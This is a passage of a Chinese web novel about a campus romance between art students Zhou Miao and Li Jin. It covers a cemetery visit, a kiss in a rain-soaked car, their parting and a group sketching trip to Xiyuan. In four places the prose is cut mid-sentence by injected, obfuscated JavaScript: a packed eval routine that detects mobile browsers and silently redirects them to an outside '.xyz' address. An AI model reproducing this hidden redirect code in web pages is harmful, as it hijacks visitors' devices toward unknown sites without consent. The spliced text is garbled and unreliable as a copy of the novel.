顾岁夕站在原地，看着车子跑远直到消失，连他自己都没想到，最后的结果会是不欢而散。 她还真是，一点没变。 — — 黎烬忽然人间蒸发了，好几天没见着人。 楚琪去他家的时候，连屁大点影子都没看着，打电话还被挂断，他发短信炮轰：“大哥！？什么情况？？你人呢哪呢？快快快回！！” 下一秒，黎烬回：“别管。” 楚琪：“？” “不是？？不是你叫我来的吗？玩我呢？你最好给我一个解释！”楚琪坐在沙发里气得翻白眼，船长见状摇着尾巴过来，他搂住船长的脖子拍了张自拍发过去道：“不然我就杀狗了！！” “叫我来干嘛！！” “你人在哪？” 他几秒一个消息发过去，黎烬却慢悠悠地回：“狗让你玩几天，要杀要剐悉听尊便，但不能饿着我家船长了。” 这条消息一完，黎烬那边彻底没了音信。楚琪逐字逐句看了好几遍，才后知后觉反应过来：黎烬这狗玩意不知道死哪里去了！骗他过来就是让他来带狗的？？！What？？ 楚琪气得开始撸船长，然后给周武打电话抱怨，足足骂了半小时，忽然想到什么：“不是，他到底死哪去了？” 周武又好笑又无奈，想了想，不怎么肯定：“可能是回去了吧。” 楚琪：“回哪？” “能去哪。”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小时候黎烬有多喜欢这里，现在就有多厌恶，如果不是因为她葬在这，他几乎都不会回来。供奉的水果和香钱都是新换不久的，陵园就这规矩，玩点钱就有人愿意来打扫得的干干净净，黎烬第一时间想到了黎长建。 如果真有那么深情爱护，他妈也不会躺在这，黎长建这个人，从始至终都假得很。 黎烬把玫瑰放下，坐着，陪蒋淑华说着话。其实他也不知道说些什么，毕竟她已经离开太久，他也不再是小孩子了，只是每当想起她的时候，就想回来看看，坐会。天色愈发昏暗阴沉，眼看就快要下雨了，雨滴陡然落下，砸得人生疼，黎烬烧干净最后那点纸钱，淡淡道：“下次再来看你了。妈。” “你放心，我挺好的。” “……” 黎烬一步一步走下那长而无尽头的长阶，目光飘然，忽然，他看见陵园门口附近的保卫室门口站在一个人，那人瞧着熟悉，黎烬忽然停下脚步，周淼站在前方的尽头，淡淡地望着他笑，她恬静的脸上满是温柔，像记忆中，乌黑的长发慵懒披散，穿着白色露肩长裙，有几分狡黠又有几分看不透。 她是特别的。黎烬可以肯定。 “真巧。”周淼看着他走到面前，笑眯眯道：“好久不见啊，黎烬。” 黎烬瞧她一点也不惊讶，问：“你早就看见我了。” 周淼点头，“只是，你怎么会来榕城啊？你老家是在榕城吗？” “算是吧。”黎烬道。 周淼笑着说：“所以说，我们俩真的有缘分。” 她话音刚落，天边忽然响起一声闷雷，猛的一声像是要炸开，周淼有些被吓到，不由自主地往黎烬身边靠近，不一会儿，大雨滂沱，灰色的地面像是要被砸出洞来，混着冷冽的风。就这样两人被困在了大雨中，只能狼狈地站在檐下躲雨，雨势太大太猛，路边的花草碎了，散了，周淼的裙摆和黎烬的裤脚尽湿，他们相互依偎着，仿佛被隔入另一个世界。 保卫室门关着，里面没人，夏天的雨猝不及防，说不上有多冷，反而有种莫名酣畅淋漓的感觉。她和黎烬靠在一起，有一搭没一搭的聊着，还不知道这雨什么时候能停。 “你怎么来的。”黎烬问她。 这地方偏，又下雨，回去怕是不好打车了。路边有不少停车场，周淼看了看他，问道：“打车。你开了车？” 黎烬轻轻地“嗯”了一声，目光不自觉望向陵园内，周淼注意到他的目光说道：“你来这，是来看谁的。” “我妈。” 顿了顿，周淼垂下目光，有些无奈地笑：“好巧啊。” 裙摆被雨弄得脏兮兮的，周淼往里靠了一分，却是退无可退，黎烬目光扫了过来，两人对望，蓦地沉默了。 这雨仿佛没完没了，纠缠不清，周淼意识到现在得说点什么才好，她没头没脑地问：“之前你说要我做模特，想好弄什么了吗？” 黎烬倒是没想到她会主动提。 潮湿的天，无端泛起几分漪涟，他想起之前设计好的图案，暗棕色的纹路不断攀爬，向上，就像一只雨中濒死的蝴蝶，他眼眸微沉，打开手机相册递给周淼看：“玩过海娜吗？” “没，但是知道。”周淼摇头。她一眼就被手机里的图片吸引，那是精心设计过的图案，还是蝴蝶，却更加繁琐古老，周淼若有所思地收回目光：“你想在哪个部位。” 黎烬没出声。 沉默反而更显暧昧，周淼有些茫然地看着他，顺着他深邃灼热的目光，蓦地心头一颤，浑身滚烫起来。黎烬微微勾唇，眼里的笑快要荡起来了，直白而又露骨：“周淼，你想哪去了？” “……”反正就是她想的那样。 这雨没有要停的架势，周淼开始扯别的话题：“你打算在榕城待多久呢。” “不知道。”黎烬来榕城也是临时的决定，没考虑那么多。他道：“早上才到这边，酒店都没有定。” 周淼犹豫：“不回家？”她知道黎烬在这边是有家的。 黎烬：“不回家。” 气氛再次沉默。风吹着雨，雨还在下着，不见减势，还不知道要等多久这雨才停，黎烬看了眼手机，“直接跑下去吧，停车场不是很远，这雨还不知道要下多久，再站下去人都要吹傻了。” 陵园建在山上，路没有那么平坦就像一个长阶，周淼还在犹豫，黎烬却一把抓住了她的手，天是阴沉沉的，没有电视剧那么煽情与美好，雨打在身上时寒意阵阵，刺得眼睛睁不开。他们不敢走太快，石阶覆了水，滑得很，雨噼里啪啦地落下，从远处看像无边无际的帘幕，整个世界仿佛浸泡在雨水之中。 身上早就湿透，冰凉凉的，唯一能感受到的是掌心黎烬的温度，她的身边眼前，也只有黎烬一个人，仅此而已。 车门打开，黎烬先将周淼推进了后座，随后又关上了门。水渍滴落，周淼很快感觉到了冷，不由自主地打了一个寒颤，黎烬从后备箱的缝隙里丢进几件衣服和干毛巾，他的衣服，声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043961|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从后面飘进来：“快换了。” 周淼一愣，回头看了看，犹豫一瞬立马开始脱衣服，好歹不是面对面，她认命地想。裙子很快脱落下来，她开始庆幸今天穿了裙子，不用多久周淼就套上了黎烬的短裤和白T，衣服太大，穿着怪怪的，里面的衣服还是湿的，有些难受，她拿起毛巾开始擦头发，目光却不自觉透过后座的缝隙，悄悄望向黎烬那边。 后备箱的门撑出了一片天，黎烬上身赤裸，头发湿漉漉在滴水，露出状块分明的腹肌与流利的线条，她又一次看到了那只蝴蝶纹身，比上次在泳池更清楚明显，突然，黎烬眼眸扫过，他扯着裤头，微微抬头，盯着周淼样子慵懒随意：“还看，脱裤子了。” “……”周淼讪笑地缩回脑袋，专心擦头发。不一会，车打开，黎烬挤进后座，拿起毛巾揉了揉头，周淼此刻有些没脸看他，毕竟才被抓包了。 谁也没开口，两人就这样坐在一起擦着，黎烬从中控台摸出一包烟，目光扫了扫周淼：“介意吗？” 周淼摇摇头。 此时此刻，她也需要闻一下烟的味道，好让自己清醒一点。 火机声音响起，黎烬叼着烟，猛地吸了一口，指间猩红点点，车外的雨有多大呢？模糊的，车窗被水流覆盖住甚至起了一层雾，一片昏暗，周淼闻到了空气里飘散的苦味，心痒了又痒。 她视线落在黎烬身上，黎烬见她一点也不排斥烟味，眉头没皱一下，瞬间明白了什么，他凑近，懒洋洋地咬着烟头，恶劣地呼出一口烟雾吹了过去，这烟闻着就知道劲大，周淼被烟雾迷住了眼睛，迷糊中看到人影浮动，黎烬夹住烟将周淼挤到了角落里，周淼感受到陌生的气息：“你……” “刚刚好看吗？”黎烬眯起眼问：“喜欢吗？” 就知道没那么轻易过去。周淼脸微红，开始打岔道：“这里其实什么都看不到。” 黎烬笑了一声，他乌黑的眸里涌动着周淼看不懂的情绪，“那为什么我在外面能看到。” 他这话里有话，意味深长，周淼瞬间反应过来，脸滚烫，她能在里面看黎烬，黎烬也能在外面看她。她不能在黎烬败下阵，慌了神，她镇定自若地看着黎烬，“那我们俩，谁也没吃亏。” 车内昏暗，他半阖着的眉眼被指尖升起的烟雾模糊了，叫人有几分看不真切，周淼闻着这股浓烈的烟味，思绪瞬间空荡，痒痒的，她下意识靠近了黎烬一分，下一瞬，黎烬有些模糊的声音陡然响起：“不对，我亏大了。”他微微弯下腰，吻住了她的唇。 16. 坠落 黎烬吻过来的时候，周淼没有想过要闪躲，不管她和黎烬走到那一步，她都有过预想，都在意料之中。 可当他的唇贴触上的那一瞬间，周淼还是不由自主地颤了颤。她不想在黎烬面前露怯，便主动凑近一些，缓缓闭上了双眼。 浓烈的烟味蔓延，黎烬感受到她的气息，没再犹豫，一只手扶住她的脑袋加深了这个吻。瞬间，潮湿的空气里荡着几分甜腻，纠缠不清。 时间变得漫长，从起初的浅尝辄止逐渐变得缱绻，周淼纤长的手指缠上黎烬的脖子，他们在这狭小而又昏暗的空间里肆无忌惮，呼吸越发加重。 直到，猩红烫至指间，黎烬皱眉轻轻“嘶”的一声，两人这才如梦初醒。 周淼没忍住笑了，笑得欢快，心却隐隐有些不安，她竟有几分眷恋这份沉沦。 车窗升降，涌进新鲜的空气，雨小了不少。黎烬坐回前排，说：“先送你回去，你家在哪？” “城南，文思路。”周淼平静道。车驶出陵园门口，回去路上，两人谁也没再提刚刚那个吻，仿佛什么都没有发生过一样，似梦，但那真实的欲望，凌乱的气息，滚烫黏腻的身体，不是这场雨中的短暂春梦。 他们之间的关系，就像隔着一张透明的塑料纸，模模糊糊，看得清又看不清，就看谁先捅破。 有那么一段话是这样说的：人与人之前最美妙的时刻，就是暧昧期间。沸点边缘的试探，心知肚明却仍存在不确定性，想要却又不敢，只能一步步试探来猜测对方，这是最好的时刻。 可黎烬是谁。 他不搞谈恋爱那一套。 他就算有几分喜欢，也不会主动去表达什么，他这个人，从来都是让别人主动走到他身边。 可周淼偏不。 她偏不要这样。 她就是要黎烬大大方方的承认，她要光明正大地站在他身边。 * 车进了市区，雨也停了，一场大雨后雨过天晴，黎烬将车停在周淼家小区楼下，周淼拎着湿漉漉的衣服，“那我就先回去了，今天谢谢你。” 黎烬点点头，他看着周淼下车，不一会，他忽然又喊住她，问：“你打算什么时候回A市。” 周淼有些犹豫：“还没想好。开学还有半个月呢。” 黎烬也不急，继续说道：“晚上一起出来吃饭。” 周淼笑了笑，没给肯定答案，她挥着手里的衣服，“再说吧。我上去了。” “拜拜，黎烬。” 不一会，周淼就没影了。 黎烬手搭着方向盘，看着周淼消失不见，好一会，他才后知后觉的有些意过味来。她这是……玩他呢？ “……” 周淼进电梯上楼后，楼下的黎烬已经不见。她丢下脏衣服先进浴室冲了一个热水澡，换了身干净衣服，头发还湿答答地在滴着水。 手机屏幕闪烁不停，周淼拿过，点开一点，是班群上老傅发的消息，溪源镇十天为期的一个写生活动，美术类专业都可以去，自愿参加，有意的自己去找庄志伟参加。 郭安迪瞬间就发来消息：【又又又写生，去溪源玩我还挺愿意的。】 周淼笑笑：【那你去吗？】 郭安迪：【你去吗？】 要是之前周淼肯定是不去的，写生年年都差不多，但是现在…… 【去。】周淼回复。 郭安迪：【……】 郭安迪：【周淼？好好的假期它不香吗？】【我就不该问你！】【帮我也报个名吧。】 周淼：【遵命。】 周淼笑着给庄志伟发去消息。 弄完这些，她躺在沙发上想了很久的事，最后还是主动拿起手机，给黎烬发去了微信。 蓝色气泡水：【你喜欢吃鱼吗？】 没多久。F：【？】 蓝色气泡水：【我知道一家超级好吃的烤鱼店，我请你。】 刚洗完澡的黎烬看到这消息，下意识勾了勾嘴唇。 F：【晚点我去接你。】 吃饭的地方离周淼家不远。 夜色下的榕城烟火气十足，这里不似A市繁华，是个惬意的小城市，细算下来，这还是她和黎烬第一次正经吃饭呢，之前吃的都是面。 除了招牌烤鱼，周淼还点了几个小菜。雨停了，地面还湿漉漉的，黎烬要了几瓶冰啤酒：“喝吗？” 周淼点点头，接过一瓶黎烬打开好的。鱼还没上，他们也不急着吃，黎烬喝了口啤酒，漫不经心道：“我还以为你今天晚上不出来了。” “本来是。”周淼说：“可我看某人一个人，又不回家，怪可怜的。” “就想着陪陪他。” 黎烬：“你不也一个人。” “是啊。”周淼笑笑：“所以我也需要你的陪伴。” 她还是一如既往的直接。黎烬挑眉看着她笑：“那和我一起回A市。” 他再一次发出了邀请。周淼没急着给出答复，对上他乌黑的眼眸，周淼再一次认认真真地打量起面前的黎烬，其实之前，她有偷看过他好多次。 这么光明正大，还是头一回。 他和大学里很多男生都不一样，甚至相差甚远，有狂傲的资本，他的唇和眼皮极薄，皮肤白净，懒懒靠在椅背上能清晰的看见凸起的喉结，眉眼生得干净隽秀，却没少年般的意气青涩，一股深沉压抑的气息，笑的时候隐隐透着几分放荡不羁，周淼双手搭着，笑盈盈地有些无奈：“我没住的地方。” 黎烬喝了口啤酒，十分直白：“不会让你睡大街。顺便把你欠给我的人体模特那事给弄了。” 周淼还是笑：“可我们才认识多久啊？你就敢让我去你家，不怕我是别有用心吗？” 黎烬哑然失笑，眼神直勾勾的，有几分无奈：“你不是早就去过了。” “况且，我不怕别有用心，就怕没有心。” 周淼脸上笑意更盛：“黎烬，你真好，这么相信我。可我不相信自己，我怕我把持不住。” “你能对我做什么？” “谁知道呢？” “……” 气氛明显放松，二人心思各异，漫不经心聊着，时间过去大半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046865|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃完饭，时间还早，黎烬不打算这么早回去，周淼提出散步消食，顺便走回家。下过雨，天上黑漆漆的不见月亮也不见星星，街边的灯要灭不灭，风一吹，就能听见树动沙沙声，好像南方城市的路边都喜欢种一样的香樟树。 他们现在这样，算什么？ 是否已经达到了黎烬口中的不谈恋爱的男女关系？他这辈子有真心的喜欢过一个人吗？如果这次她的过分靠近让他厌烦了，是不是就算提前退出？她也可以结束这场闹剧了。 但如果，黎烬让步了呢？ 那他一定会万劫不复。 看见熟悉的小区门口，周淼忽然停下拉了拉黎烬，说：“我到家了。” “嗯。”黎烬抽出根烟，问：“过几天要和我一起回去吗？” 这是他第几次问了。周淼依旧表现出一副纠结的模样：“没想好。” “行。”他随意地叨着烟，却没急着点火，周淼也没急着上去，她像是忽然心血来潮，问他：“黎烬，你以前是什么样的？” “和别的女生在一起的时候。” 女生似乎都很纠结过去，他想了一会，“没什么特别的。” “就那样。” 周淼：“那我呢？我是什么样。” 他忽然没了声音，似在犹豫，两人在这昏暗的光线里视线轻轻一碰，停滞的瞬间，就被彼此眼里的情绪深深吸引着，下一秒，黎烬拿下了那根未点燃的烟，声音微沉：“周淼，你是特别的。” 你是特别的。 周淼发自内心地笑了，即使黎烬看不出她心里是怎样想的。她上前一步故意凑近，继续问道：“那你没什么话想对我说吗？” 此时此刻，她就像一个得了糖果的女孩子，固执的还想要一颗。 她脸上带着明媚的笑，两只眼睛里荡满星光，有着些许不一样的期待。黎烬在很多女生眼里都看到过这样的期待与暗许，可周淼更加的小心翼翼，只有那么一点，稍不注意，就会消失不见。 这个眼神，在他的记忆中，曾在他妈的身上见到过，可结果显而易见。 如果这个人是周淼，会不一样？就会被改变吗？ 他找不到答案。 于是反问：“你有话想和我说？” 果然，下一秒，她眼里的期许消失不见。周淼摇头：“没有。” 她沉默了许久，忽然抬头，那是黎烬从没见过的眼神。之前那么多，他也不曾在那些人眼里见过，有几分不舍却十分决绝，她仍旧是笑盈盈，甚至像是松了一口气。“今天那个吻还不错，但也仅此而已了。” “什么意思？”黎烬微微蹙眉，他还没反应过来，周淼忽然双手俯上他的肩膀，脚跟轻轻抬起，准确无误地堵住了他的唇，就像羽毛轻轻刮过，带起一丝丝的痒意，他下意识想要靠近，周淼却很快松开他回到了原地。 他还在诧异茫然，周淼眼尾勾起一抹月牙般的弧度，夜风拂过心头，无声却醉人，她还在笑，说出话却十分平静：“黎烬，我们就这样吧。” “晚安，黎烬。” 她头也不回地离开了。 17. 溪源 溪源是个古镇，风景优美，一到季节便会有人慕名而来旅游，这里就像古人的山水画卷，纯天然绿色无污染，建筑风格还停留在上世纪，因此来这写生拍照的人特别多，溪源的商业化开发程度不高，是个美不胜收的地方。 周淼坐着大巴车进景区时，郭安迪已经到了，就等她呢。他们班来了十几个人，两人一间房，都在一家民宿。 这里到处都是石阶，小巷，倒是别有风味。周淼按照导航拖着行李箱走到民宿门口，就看到一旁休息区玩手机的郭安迪，郭安迪穿着长裙，一个月不见她染了一头红发，特别夏天，特别的明媚火辣，她头上顶着墨镜与草帽，看着不像是来画画写生的，倒像是来旅游玩的。周淼脸上露出一丝笑容，走上去缓缓说道：“真惬意啊，头发不错啊郭大小姐。” 郭安迪听到周淼的声音，就收起了手机。她笑眯眯地站起身转了一圈，舞动着她那头热情彭拜的红发，“就昨天晚上染的，怎么样？” “好看吗？” 周淼点赞：“很酷，超美的。” “一个月不见你瘦了啊！”郭安迪打量着周淼，“看着还有点不一样了。” 周淼疑惑，看了看自己，不觉得哪里有变化：“哪不一样了？” 郭安迪：“说不出来。” 周淼：“……” 这不等于说了跟没说一样吗？ 郭安迪要过来帮周淼拿行李，笑着说道：“好了。走，我带你上去，我俩住一间，我都安排好了。” “这次我们来溪源，不为别的，好好放松好好玩。”她笑眯眯道。这话要是被老傅听见了，不得气死。周淼才走过来，累的很，她摆摆手坐下，“让我坐会先。” “不着急。” 说完，她拿出手机，对着空旷的四周开始拍照，这民宿外的风景不赖，空气清新，很适合休息。 周淼想起什么，问：“今天下午怎么安排的？” “都刚到，能怎么安排啊。好好休息吃好喝好吧。”郭安迪完全一副来旅游的样子，懒洋洋躺着，惬意极了。她看起来对这地方挺满意的，“这里的风景是不错啊，没白来。” 两人都不着急上楼，瘫在休息区拍风景。门口进进出出好多人，有认识的也有不认识的，还有不少外校的人，很热闹，此时此刻，周淼很不合时宜的想起了黎烬——他应该也收到了溪源写生的通知。 那夜过后，她没和黎烬联系过了。 就算黎烬发来消息或电话，不是不回就是敷衍，傻子都能看出她的意思。 更何况黎烬呢。 以黎烬的耐性与脾气，他们之间也就这样，到此为止了。以欺骗开始的爱情游戏就此圆上句号，对周淼来说，也是解脱，本就是一时冲动的事。 不会有人知道，她与黎烬之间有过什么，一切还是和从前一样。 挺好。 庄志伟不知是什么意思过来的，看到周淼，他笑着在周淼面前坐下，扶着眼镜笑道：“周淼，你到了啊。” 周淼回神，应了一声。 郭安迪啧啧一声，吐槽：“刚刚我到的时候，班长你怎么一点反应都没有呢？就这么区别对待吗？” “哪有！你别乱说话啊！”庄志伟笑着否认，脸上涌起几分不正常的红，他看周淼行李还没搬上去，这民宿没有电梯是楼梯的，连道：“我帮你把行李箱拎上去吧。” 周淼连忙拒绝：“不了。等会我自己来。” “客气什么，你们住三楼，我知道房号。”说着，他拎着行李箱要走，“不用跟上来，你就在这休息吧，我把箱子放门口马上就下来，晚上我们班一起在野外烧烤，等会一起过去。” 周淼还要说什么，庄志伟已经拎着行李箱走了，她想跟上去，郭安迪拉住周淼：“让他去，让人家表现一下，爬上去也怪累的。” 周淼回头，“我箱子挺重的。” 郭安迪笑了，“淼啊，你没发现庄志伟对你有些意思吗？” 闻言，周淼回原位坐下，语气淡然地说：“那又怎样。” “不是你喜欢别人，别人就要喜欢你的。我对庄志伟，没意思。” “可庄志伟不会这样想啊！”郭安迪有些无奈地摇头：“人总会在下意识把对方臆想成他以为的样子。要是庄志伟向你表白了，你怎么办。” 周淼平静道：“实话实说就好了。” “够直，我喜欢。”郭安迪笑：“真到那时你一定要第一时间告诉我，我要吃最热的瓜。”周淼的心思显然不在这个话题上，她盯着堵满人的门口，喃喃自语：“来了挺多人呢。” 郭安迪：“附近的民宿我估计都住满了，南工的就住底下那家。” 周淼挑眉：“你怎么什么都知道。” “那是。”郭安迪笑着，忽然看到庄志伟回来的身影，挤眉：“我还知道庄志伟回来了。” 周淼回头一看，庄志伟已经走过来了，他道：“好了，我们现在过去吧。” 烧烤的地方是一个大草坪，不止他们这一个团体在这烧烤，周淼他们到的时候烧烤架已经搭好，在生火，食品和材料都是民宿老板他们这边包的，弄得还挺热闹，周淼看到刘圆也来了，李小音没来。 大家都在忙着摆桌子，串食材，都是新鲜的，不是冰冻，周淼和郭安迪也一起过去帮忙。 都是一个圈子的人，聊的也就是那点事，周淼和郭安迪坐在一块，一边串串，一边听八卦，老有意思。 “你们看，那个男生好帅啊！好多学校的人啊……好热闹，有谁认识那个帅哥吗？” “帅能有我们南工大黎烬帅吗？” “黎烬又没来。” “不用想，人家肯定不来这种地方玩啊！人家大神耶！” “人家不来，可你不也来了吗？” “你……” 确实挺有意思的。周淼想。 刘圆：“听老傅说，走的时候各大校会一起弄个篝火晚会，纪念一下这次写生。” 郭安迪：“年年如此啊。” 庄志伟忽然挤了进来，也跟着一起串串，他看着周淼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057916|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“我还以为你这次不会来呢。” 周淼：“陶冶情操，挺好的。” 庄志伟：“溪源有挺多写生必去的风景，我做了一个标记总结。周淼，到时候我们一起吧。” 郭安迪立即举起手里的串：“班长，你不厚道哦！” 刘圆：“是啊！就叫你淼淼，我们不是人吗？” 庄志伟：“那到时候我们一起。”他看周淼盯着手机在发呆，问：“怎么了周淼？” 郭安迪探过去看了一眼，“她刷朋友圈呢。” 周淼关掉手机，答应了，心里却不在话题上，显得有些心不在焉。 早上她发了一条“出发溪源”的朋友圈，刚刚，黎烬点赞了。 * “……”黎烬无聊地刷着手机，来来回回，熟悉他的人一看就知道他有些烦躁，心思不在手机上面。 楚琪看了他一眼，摇头，这人为情所困啊，随后继续撸船长。 那夜后，周淼没了音信，整个人就像是消失在了他的世界里。他也是回了A市以后，才慢慢反应过来，周淼那句话是什么意思。 就这样，到此为止吧。 她倒是抽离得痛快，一点余地和机会都不给，转身就去了溪源，比他更像个会玩弄感情的人。 这也证明，周淼想要的更多，如今他给的，不是她所期望的，所以那夜她才会忽然问——“黎烬，你没有什么想要和我说的吗？” “喂！”楚琪忽然开口：“你去榕城几天怎么像是变了个人似的，怎么了？” 黎烬声音很淡：“没怎么。”一听就没什么兴致，也不想聊。 楚琪脸上写着“你觉得我会相吗”的表情，偏要烦他。他挤了挤眉，带着调侃：“遇什么事了？和兄弟我说说，怎么一副被抛弃的样子啊？” 黎烬皱眉，明显心情不好：“能不能滚远点？” “好家伙！被我说中了！”楚琪简直不要太懂黎烬了，笑道：“就是上次那个姑娘吧！你喜欢的那个！！怎么她对你没来电啊？不要你？” “哈哈哈！黎烬，我就知道你会有这一天的！” 黎烬眼神杀了过来，楚琪立即抱着船长挡攻击。 “到底怎么了？”楚琪继续追问。 黎烬不会说，也不打算说。他揉了揉眉，声音微微有些沙哑：“在我家住的这几天，你会觉得无聊吗？” 楚琪：“还好啊，不无聊。” 黎烬：“无聊是吧？那叫上你女朋友和周武那几个人，我们一起出去玩几天吧。” 楚琪：“……” 楚琪：“去哪啊？”他开始怀疑是不是因为刚刚戳破了黎烬，所以黎烬现在要带着他去一个渺无人烟的地方，了解了他再埋尸什么的…… 黎烬一直没说话，似是在考量，犹豫，还没见过他这么纠结，久到楚琪以为悬了只是玩笑，他却开口了。 他散漫地扬起眉头，脸上甚至还带着几分笑，眼神里隐隐透着期待，嗓音散漫：“溪源，你安排吧。” “要快。” 18. 炙夏 去溪源玩这事，太过突然，周武有事没来。楚琪叫上了女朋友宣夏夏和几个狐朋狗友，再加上黎烬，五六个人开着两辆越野车就这么出发了。 酒店什么的都是黎烬定的，有人愿意花钱请他们出去玩，楚琪可一点都不客气，他搜了搜溪源那边的美食，见溪源那边最出名的就是牛肉火锅，当即在网上定了一家，打算晚上吃顿好的。 他满怀期待，网上的攻略是越看越起劲，深感溪源是个世外桃源，只可惜现在不是春天啊……黎烬这一路上是睡过去的，人看着是在睡，心里却装着一堆事，烦得很。 脑子一热就跑过来了，这完全不是他以前的风格。连他自己都说不清，为什么要来，因为周淼吗？ 不知道。可能到了，才有答案。 无所谓了。 这一趟几个小时的路程，算不上有多远。人到了，一下车，楚琪四处张望顿时被这纯天然绿色无污染的古镇山水整傻眼了，他看向黎烬：“这就是……你说的好玩的地方？” “这不是你们搞写生那地吗？” “这这这！这怎么和网上看着有点不一样啊？完全不一样啊！不是，我们是不是还没到？还要往前走点？” 黎烬跟看傻子一样看他，“没听过一句话吗？你一P，我一P，到了景点全傻逼。” 楚琪：“……”是吗？？ 黎烬摘了墨镜，宣夏夏倒是有些兴奋地说：“这里风景还不错呐，晚上帮我拍照啊！” 民宿那边进不了车，行李需要自己搬上去，黎烬联系了学校那边的人，但没想到是李清过来的，她看到黎烬真来了，还有些不可置信：“嘿！黎烬！你真过来了啊？” 女生笑眯眯地，眼睛弯起，黎烬没什么表情地点了点头，“你们住哪？” 李清道：“不是很远，古镇里，但现在应该没有空房了，你们来了这么多人要怎么住啊？” 黎烬：“我们订了别的民宿，也在古镇，应该不是很远。” 李清十分热情地说：“那我带你们过去吧。”一行人跟在李清后头，拿着行李往古镇里走，路上走走停停的人挺多，大部分都是来写生的美术生，黎烬淡然地收回目光，逐渐走在了后头，楚琪心情不佳，故意落后对着黎烬小声说道：“这不是那姑娘吧？一看就不是！” “……”黎烬懒得理他，迈开腿走到了前面。 * * 放完行李，黎烬就不见人了。 楚琪乐得自在，拥着宣夏夏和他的狐朋狗友潇洒去了。这地一到中午日头便毒得很，不得不挤在阴凉的地方，大家都是全副武装，帽子一戴，谁都不认识谁，周淼对溪源这边的建筑还是挺喜欢，浓厚的历史氛围感，接连几天画的都是建筑，郭安迪在一旁对着脸狂喷防晒喷雾，刘圆见状忍不住问：“这里没太阳怎么还喷？” 郭安迪双手在空中比划了一下，感慨道：“紫外线无处不在，只是我们肉眼凡胎看不见而已。” “来点不？”郭安迪将防晒喷雾递到周淼面前，周淼摇头拒绝，刘圆信了她的话，“我要！我要！” 她正喷着，前面忽然有了骚动，刘圆好奇：“怎么了？” “听听就知道了。”郭安迪眼尖，看到前面那一堆提的是南工的画材，“好像是谁来了。” 周淼漫不经心地扫了一眼，目光顿时有些僵硬，那道熟悉的身影猝不及防地闯入她的眼帘，太过突然。 黎烬，黎烬真的来了。 这就代表着…… 不远处的黎烬似有察觉，感应般地转身看了过来，周淼顿时缩下身子，没了画下去的心情，此时，没人注意她的反应，都在看前面的骚动与热闹。 刘圆惊喜：“是黎烬！我的天！” “还真是。”郭安迪坐回来，见周淼脸色不好，问道：“你怎么了，不舒服吗脸红成这样？” 周淼：“有吗？” 郭安迪点了点头。 “热的吧。”她又继续画画了。 刘圆摸出手机在拍，“我要发给李小音看看，叫她不来哈哈哈！” 南工那边更热闹，不少人围着黎烬问来问去，他也十分的游刃有余，有男生问：“黎烬，你不是不来吗？怎么突然又跑过来了？” 黎烬笑了笑，懒洋洋道：“陪朋友过来玩的，刚好过来看看。” “都来了，弄几张？” “是啊！这景不画几张浪费了！” 有人让出位置，黎烬勾着唇，慢条斯理地应了，“好啊。” 他也坐下来，和大家一起写生。 刘圆还在感慨：“我的天，黎烬居然来了！李小音在微信哭！” 其他女生也都在聊着黎烬，窃窃私语的。庄志伟清咳几声，皱眉一副不喜欢的样子：“来了就来了，有什么？你们至于这么激动吗？” “你不懂！帅哥啊！赏心悦目。” “是啊？谁不爱看帅哥？” 庄志伟冷笑道：“那有什么用？他还不是滥情爱玩的一个人渣，除了脸和钱还有什么，真不懂你们这些女生。” 话说过头了，就没人爱听。 有女生忍不住反驳：“班长，你这话就有些过分了，我们只是喜欢看一看聊一聊，但这并不代表我们一定和人家有什么啊？！” “就是……” 庄志伟：“我也就是一说。” 郭安迪眯起眼：“班长，你是男的你当然不懂，我们女生啊就喜欢瞧好看的东西，可男生不也一样？丑的宁愿没有也不要，不过你怎么对黎烬这么大怨气？人家可是风云人物，你们认识？你和他有仇吗？” 感受到众人的目光，庄志伟扶着眼镜否认：“想多了。” “我只是不喜欢他的作派。”庄志伟忽然看向周淼，“是吧，周淼。” 郭安迪皱眉：“你问淼淼干嘛？” 庄志伟看着周淼说：“你是不是也和我想的一样。” 郭安迪冷笑一声，不想说话。 庄志伟还在看她，周淼静静地抬起双眸，淡声道：“你和他之间的事，和我有什么关系？” “不是……”庄志 